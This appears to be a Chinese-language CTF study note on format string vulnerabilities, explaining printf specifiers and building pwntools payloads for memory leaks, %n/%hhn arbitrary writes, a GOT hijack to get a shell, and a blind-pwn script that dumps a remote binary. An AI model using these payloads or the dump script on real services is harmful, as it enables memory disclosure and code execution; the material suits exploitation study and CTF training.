格式化字符串

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数

根本原因是调用 printf 函数族的时候,因为格式字符串要求的参数个数和实际的参数格式不匹配导致去堆栈中取数据,导致泄漏出堆栈数据。

格式化字符串

基本格式:%[parameter][flags][field width][.precision][length]type

参数(parameter)

  • n$:获取格式化字符串中的指定参数

长度(length)

  • hh:输出一个字节,8位无符号整数,容量范围为0到255。
  • h:输出一个双字节,16位无符号整数,容量范围为0到65535。

类型(type)

  • d/i:有符号整数
  • u:无符号整数
  • c:单个字符
  • x/X:无符号16进制整数(小写/大写)
  • o:无符号8进制整数
  • s:字符串
  • p:转换为可打印字符的指针值
  • n:不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。它的容量取决于可控制的输出大小,通常在4字节范围内。

利用方法

泄露内存

%nx / %np:按顺序泄露栈数据

%s:获取变量地址内容,遇零截断

%n$x / %n$p / %n$s:获取指定第n个参数的值或字符串

addr%X$p:泄露任意地址的数据(addr为要泄露的地址)

覆盖内存

%Yc%X$n:将Y写入栈上第X个位置指针指向的位置(Y为要写入的数据,X为任意正整数)

addr%(Y-4)c%X$n:向任意地址写(addr为要写入的地址)

栈地址覆盖

例:把c的值从789改写为16。

c_addr 占4个字节,所以额外加上12个字节,最终向 c_addr 指向的空间赋值16:

payload = p32(c_addr) + b'%12c' + b'%6$n'

小数覆盖

例:把a的值改写为2。

如果还用之前的方式,写入的地址最少要占4位,因此最小只能赋值4,尝试把地址放到后面的位置。

赋值2,要写作aa%X$n, 把2赋值给第X个位置指针指向的位置。这个字符串长度为6,不是4的倍数,所以还要补全两个字符,再加上a的地址。这样最终a是落在了栈上第8个位置:

payload = b'aa%8$nbb' + p32(a_addr)

大数覆盖

例:把b的值改写为0x12345678。

需要赋值一个很大的数,这时候直接向栈中写入这么多的数据肯定不太方便。利用 hh(单字节) 和 h(双字节) 参数逐字节写入。

以单字节的方式写入,若b的地址是 0x0804c028,逐字节写入后的数据分配应该如下所示:

1
2
3
4
0x0804c028 	\x78
0x0804c029 \x56
0x0804c02a \x34
0x0804c02b \x12

因此随着构造payload,字符串长度是逐渐增长的,因此要按照从小到大的顺序填充字节,这里要从高位向地位填充:

payload = p32(0x0804c02b) + b'a'*(0x12 - 4) + b'%6$hhn' (当前总长度=24,字符长度0x12)

下面填充次高位。填充后面的时候要注意,因为这是一次发送的payload,因此填充后面的时候,前面的字符串长度也要算上,前面的字符串长度已经有24个字节,因此次高位的地址会写入第25-28个字节,这样对应的就是栈中的第12个位置(24/4 + 6)。

构造次高位的字符串时要注意不能包括 %6$hhn 的长度,因此接下来还要填充的字符串个数是 次高字节需要的总字节数 - 填充上一字节已经构造的字节数 - 次高字节地址位数。次高地址这里后续还有payload要填充,由于要地址对齐,因此添加三个b,使得总长度为4的倍数:

payload += p32(0x0804c02a) + b'a'*(0x34 - 0x12 - 4) + b'%12$hhn' + b'bbb' (当前总长度=68)

接下来填充次低位。构造方法和上面类似,不过添加字符的时候要记得把 bbb 这三个对齐字节的长度减去:

payload += p32(0x0804c029) + b'a'*(0x56 - 0x34 - 4 - 3) + b'%23$hhn' + b'bb' (当前总长度=108)

最后填充低位:

payload += p32(0x0804c028) + b'a'*(0x78- 0x56 - 4 - 2) + b'%33$hhn'

pwntools工具

1
2
3
4
5
6
7
8
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

offset (int): 字符串的偏移,从1开始
writes (dict): 注入的地址和值,{target_addr:change_to}
numbwritten (int) : 已经由printf函数写入的字节数,默认为0
write_size : 逐byte/short/int写入,默认是byte

64位:加context(arch='amd64')

参考

64位格式化字符串详解

其他

GOT hijack

没有开启FULL RELRO时,可以修改如puts_got变为system的地址(利用fmtstr_payload),在调用 puts("/bin/sh") 时会变成 system("/bin/sh") 从而getshell。

fini_array劫持

(待补充)

blind pwn dump

利⽤格式化字符串dump出elf。

dump脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

context.os = 'linux'
context.log_level = "debug"
context.arch = 'amd64'
# context.arch = 'i386'

#p=process('./pwn')
p=remote('127.0.0.1',5001)

begin=0x400000
bin = b''
def leak(addr):
pl="%7$sdump"+p64(addr)
p.sendlineafter('Please enter your answer\n', pl)
data=p.recvuntil('dump',drop=True)
#data = p.recvrepeat(0.2)
return data

try:
while True:
data = leak(begin)
begin = begin+len(data)
bin += data
if len(data)==0:
begin+=1
bin += '\x00'

except:
print("finish")
finally:
print '[+]',len(bin)
with open('dump_bin','wb') as f:
f.write(bin)

p.interactive()